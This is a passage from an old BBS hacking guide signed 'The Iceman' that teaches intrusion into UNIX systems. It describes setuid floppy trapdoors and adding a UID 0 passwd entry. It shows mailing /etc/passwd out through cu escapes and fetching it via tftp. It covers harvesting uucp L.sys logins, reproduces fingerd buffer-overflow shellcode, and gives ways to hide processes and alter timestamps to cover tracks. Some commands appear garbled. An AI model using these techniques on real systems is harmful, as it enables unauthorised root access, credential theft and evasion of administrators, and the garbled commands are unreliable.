# chown root /etc/umount; chmod 4511 /etc/umount
This now opens a huge security hole in the system - anybody with a setuid
trapdoor program on a floppy can mount a filesystem, and become superuser of
the whole system. This is particularly easy to do with, say, a XENIX system if
you have your own copy of XENIX for which you are the superuser. All you need
to do is prepare the relevant files in the comfort of your own home, take them
to the target system, and within a matter of minutes you are the superuser.
An even simpler way to become superuser on a floppy system is to edit the
/mnt/etc/passwd file using the mounted root filesystem to include an extra
account with UID = 0, then halt the standalone UNIX shell and reboot from the
hard disk, using the login created from the standalone shell. Note, however,
that there is a trap to fall into here: The superblock of a filesystem is the
key record about its size and contents. Any problems in the superblock will
blow away the filesystem. There is a command, sync, which writes the core
image of the superblock to the disk, thereby updating it. This is something
that should be done automatically and constantly to keep the disk image and the
core image the same. SYSV has a program called update, which is run from one
of the bootup /etc/rc files. It lives in the system and does a sync and sleep.
The effect is that the file system information is kept current with recent
changes in the actual file system. If you don't have this on your system, you
can write a shell script with a loop, a synch call, and an appropriate length
of sleep, and run it in the background to provide this safety feature.
However, if all you are planning to do is add one entry to the passwd file, the
following command will suffice:
# sync /mnt/bin/vi /mnt/ect/passwd
Tricks with UNIX Comms Facilities:
==================================
UNIX offers several levels of comms which include file xfers, remote login,
remote mail, and worldwide message systems that link thousands of UNIX systems.
To actually find modems on a system, check /usr/lib/uucp/L-devices. This file
defines which ports are used and how they are used. The format will be:
ACU cul0 cua0 1200
DIR tty00 0 9600
- etc -
ACU specifies an Automatic Call Unit, DIR specifies a direct connection.
cu uses the DIR entries, uucp uses the ACU entries. This makes it easy to find
out how each serial port is referenced, what rate it runs at etc. The above
example shows that tty00 is a direct callout line. The baud rates usable are
300-9600, with the higher rates being for other machines rather than modems.
To find out lines coming into the system, check the files dialin and dialup
in the /etc directory. These files define which tty lines go through the login
secondary password sequence for remote users and can only be used for dialling
in.
A useful command is cu ("Call UNIX"), which dials out of the system:
cu dir
atdt1742
would dial your local PACNET node at 1200 baud (assuming a Hayes modem). The
dir gives you a direct line. 1200 baud is the default speed, you can change it
with -s, eg
cu -s300 -acua0 1742
The second switch tells cu to dial automatically; the dial command is generated
by /usr/lib/uucp/dial. Note that some older versions of cu won't support this
switch.
The cu command is another nice target for the sort of program presented
above as a login decoy - it can give "line noise" as the reason for failing,
which is much more believable by the victim than a "typing error".
Another thing to look for is the fact that on some versions of cu the local
machine cannot tell how a line was generated when it gets it from the remote
machine. It just has a line of text. Now cu allows escape sequences that are
not transmitted, but instead cause certain useful functions to be performed.
So for example any line beginning with "~%put" gets cu to copy a file from the
local machine to the remote one; "~%take" does just the opposite. Lines
beginning with ! cause the command to be executed on the local machine (! being
the standard shell escape character). Sometimes, the local machine cannot tell
where the command is originating from, making it is possible to do such fun
things as:
~!mail < /etc/passwd
which mails the password file anywhere you want. Another possibility for
getting a copy of the password file is to use a loophole in the tftp ("Trivial
File Transfer Protocol") program. Try connecting to a system and issuing the
command:
get /etc/motd
There is a command similar to cu called ct: This is used to call out to a
terminal to let that terminal log onto the machine. This is *very* useful if
you can get it because the target machine gets to pay the phone bill!
There is another command used to connect UNIX machines: The ubiquitous uucp
("UNIX-UNIX copy"). This allows multiple machines to be joined to create a
virtual environ- ment that lets you work on any machine. The equivalence
between cu and uucp is shown below:
Source machine: Dest machine:
cu -ltty00 -s9600 dir getty 9600 tty00
login username
csh
uucp file getty 9600 tty00
!~/ login uucp
uucico
The uucico ("UNIX-UNIX copy-in copy-out") process is generated by uucp, and
calls the destination system. The login sequence is the same as for cu except
that instead of getting a shell at the end of the sequence, another uucico
sequence is run that communicates with the calling process. Of course this can
be done via modem too.
To find which systems are accessible from your system, use the command
uuname.
The directories used for file transfer are in /usr/spool/uucp. This
directory conatins LOGFILE, which, if used with the 'tail -f LOGFILE' command
provides a useful runtime window into transfer operations. All uucp and mail
transactions go into the directory. A transaction usually consists of a
control file (C.*), and the data file (D.*). When one machine is used as the
central node, its uucp directory can fill up with a very large number of files.
Regular maintenance and constant monitoring of the lock files (LCK* and STST*)
is required by the system to ensure that everything is running all right.
The next directory to look out for is uucppublic (sometimes found in the
shell variable PUBDIR), which contains directories named after each user, to
store information in transit. As such these dirs usually have all permission
bits set so copying files to other people is possible. To copy files from one
system to another, use the command:
uucp * !~/
This copies everything in the current directory to the system ,
where the ~/ prefix to the expands to /usr/spool/uucppublic. Also,
^ in expands in uucp to $HOME, and ^/ expands in uucp to
$PUBDIR. One things to watch for is uuclean type files, usually run by cron.
These look for files in uucp directories that haven't been used for a while and
zap them to free up space. If you have anything of value in a uucp directory,
you can either make sure you move it soon, or change crontab to either get
uuclean to bypass your directory, or add your own entry to touch your files
every so often to make them look recent. A suitable command to do this is:
find /usr/spool/uucppublic -exec touch {} \;
which will update the access- and modify-time of the file. The {} puts in
the literal name that matched the find statement. You would want to put this
in a scheduled process that runs more often than the cleanup program does.
Note, however, that modifications to crontab are a sure sign that something
fishy is going on to the superuser.
uucp is a major security risk for UNIX systems. Usually all files in uucp
directories have permission modes rwxrwxrwx. uucp also requires all
intermediate directories to have rw permission for everyone, so if someone
uucp's files straight to their $HOME, they must give rw permission to this
directory to the world at large.
When a remote system logs on using uucp, the capabilities the remote system
has are stored in /usr/lib/uucp. The file L.cmds contains all the commands
that can be executed from the remote system. If the remote system sends a
command via uux (described below), it is only executed if the command is in
L.cmds. The file USERFILE defines which dirs the remote system may access, the
default being 'uucp, /' which allows process uucp to access directories from /
down. The file L.sys contains the node names, phone numbers, login names, and
passwords for all remote systems known to the central system. Needless to say
this file is a real treasure trove for hackers. Unfortunately the owner is
almost always root. If you can get into this file, the form will be:
Type AccessTime AccessType Speed Number LoginSeq
where:
Type can be any of:
remote - a remote system
selector - a port contender
direct - a direct line
AccessTime is the time the system can be accesses, usually Any (== 24Hr)
AccessType is either ACU or DIR
Speed is the speed in baud
Number is the phone number
LoginSeq is the uucp login sequence. Note that uucp uses 'ogin' to dist-
inguish it from 'Login' or 'login'. The sequence is the uucp login
name followed by the uucp password.
Note that uucp can be bypassed by calling uucico directly with the uusub
call:
/usr/lib/uucp/uusub -c
You may need to do this if the paranoid superuser has changed permission for
uucp.
With some Berkeley systems after 4.1, if someone runs a 'door' script on
the system, the rlogin logs them in on another machine as root and never asks
for a root password. You'll be lucky to get this though (I've never had it
happen).
A program related to uucp is uux ("UNIX-UNIX Execute"), which as its name
implies allows execution of programs on a remote system. Its main use is to
start up the mail delivery machinery on a remote system after uucp has
delivered the mail files to a spooling area. To ensure full generality, the
remote system passes arguments to uux to a shell for execution. Now the far
end of a uucp transaction needs only to see whether access to some file is
legitimate, but the far end of a uux transaction must examine the command and
its context and decide whether the result will be harmful. This is very
difficult because the shell has all sorts of quoting conventions deliberately
designed to hide certain types of strings until the proper time for their
expansion. With sufficient programming experience it should be possible to do
some interesting things here. I have never bothered to try it myself.
Another thing worth trying is making your own personal copy of uucp. No
special permissions are required, either to run the program or to access the
phone lines. The private copy can assert that it is copying from anywhere, and
there is no way for the target machine to verify this.
Advanced Techniques:
====================
This sections describes a typical method of attack which is rather too
specific to add to one of the above sections, and yet is a valid example of
what can be done to become superuser on a system. It is intended to illustrate
a typical means of attack, one of many which have been used to gain access to
systems....
The finger program is a utility that allows users to obtain information
about other users. It is usually used to indentify the full name or login of
another user, whether or not the user is currently logged in, and possibly
other information about the person such as telephone numbers and where he or
she can be reached. The fingerd program is intended to run as a daemon to
service remote requests using the finger protocol (described in RFC 742, SRI
Network Information Centre). Basically, this daemon accepts connections from
remote programs, reads a single line of input, and sends back output matching
the received request.
The standard C library calls do very little checking of input, leaving it
up to the user to do such things as bounds checking and so on. In particular,
the gets() call, which is used in fingerd, takes input to a buffer without
doing any bounds checking. Now when a string of greater than 512 characters is
passed to a fingerd daemon running on a VAX system under BSD 4.x, it overflows
its input buffer and overwrites parts of the stack frame for the main()
routine, so that the return address points into the buffer on the stack. The
code on the stack at this point corresponded to:
execve("/bin/sh", 0, 0);
or:
pushl $68732f '/sh\0'
pushl $6e69622f '/bin'
movl sp, r10
pushl $0
pushl $0
pushl r10
pushl $3
movl sp, ap
chmk $3b
which results in the creation of a shell with UID = 0. (On a non-VAX machine
it results in the creation a core dump. However it is a simple matter of
programming to rewrite this for practically any system).
Time Stamps on Files:
=====================
The following are the time stamps UNIX puts on files:
Inode time: Updated by:
=========== ===========
Access time creat, mknod, pipe, utime, read
Modify time creat, mknod, pipe, utime, write
Create time creat, mknod, pipe, utime, write, chmod, chown, link
However, anybody can change the access/modify (but not the create) time for
any file - useful when you have patched a system file and want to cover your
tracks. You can change the time with the utime() call, with touch, or or (as a
last resort) fsdb, the file system debugger. Note that if the super- user is
rather paranoid, you can touch a certain important system file (say getty,
passwd, etc) and it will look to them as if it's been recently modified. You
don't need to go to great lengths, even simple tricks like this can cause an
appropriate amount of panic in the right places.
Online Help:
============
UNIX has an online help facility in the form of the 'man' command. This
command prints sections of the user manual given a command name. References to
other commands take the form 'cmd-name ( section )'. The sections of the
manual are:
1 Commands available to users
2 UNIX/C system call interfaces
3 C library routines
4 Special files
5 File formats and conventions
6 Games
7 Word processing packages
8 System maintenance commands and procedures.
The user manual can act as an online thesaurus, giving you references to
commands that perform many neat and interesting tricks that you wouldn't
normally find out about. Playing about with man is a great way to spend a few
hours.
General Notes:
==============
- When you move a file, UNIX keeps the old inode and therefore the GID and
UID.
- Use cp to set GID and UID to yourself.
- Some files have the same inode, for example ex and vi are one and the
same: The program checks argv[ 0 ] for which version of the program you
want. Use ncheck -i to find all programs that belong to the
same inode. Note that if you are running program you shouldn't be
running, it is a good idea to obscure argv[ 0 ] with something innocuous
so nobody can use the ps command to find out what you are actually doing.
Another good idea is to periodically fork off a child copy of the program
and have it kill its parent. In this way the process will continually
change its process ID (PID), as well as making sure that it never seems
to soak up excessive amounts of system time.
- To execute a command at a specified time, use the at command:
at HH:MM <; command...>
- To check which user is running what, use:
ps -ef > tmp/ps
fgrep /tmp/ps
Note that this is rather slow....
A much faster method is to use:
w -d
This prints all sorts of useful information about who is doing what, but
only for the local group of terminals being used.
- Finding text strings within files can be done using the 'strings'
command. For example to dig all text strings out of the login command:
strings /bin/login | more
Note that the strings command is BSD only.
Some Moralising:
================
While this document describes many ways in which to cause havoc on a UNIX
system, you should always remember that people other than you also have a right
to use the system. Crashing a VAX is trivial and juvenile. Setting up an
unofficial information forwarding system in order to acquire a UseNet feed is
not. I have never deliberately caused any damage on any system in which I have
been a guest. Try and do the same.
Last Words:
===========
A good thing to do before you try your luck with the real thing is to
practice on a private copy of UNIX such as PC-UNIX. Note that streamlined
clones like QNX aren't very close to standard UNIX and shouldn't be relied on
for low-level hacking. A read through the XINU book or a look at MINIX, Andy
Tanenbaum's version of UNIX written for teaching, can be very educational.
MINIX is available for US$79.95 (including full source) - this also includes
source for system utilities etc - a goldmine for the hacker. With the current
cost of a licence for SYSV source in five (six??) figures, the amount of
up-to-date source on UNIX systems will probably approach zero in the near
future, so a system like MINIX is well worth getting if you want to know what
makes UNIX tick. MINIX is extensively discussed on NetNews, which you can get
onto reasonably easily by impersonating a uucp node as described above.
Enjoy,
The Iceman.
------------------------------------------------------------------------------
AUTHOR : Iceman
------------------------------------------------------------------------------
Brought to the WORLD by The Banana Republic BBS, Auckland, New Zealand.
------------------------------------------------------------------------------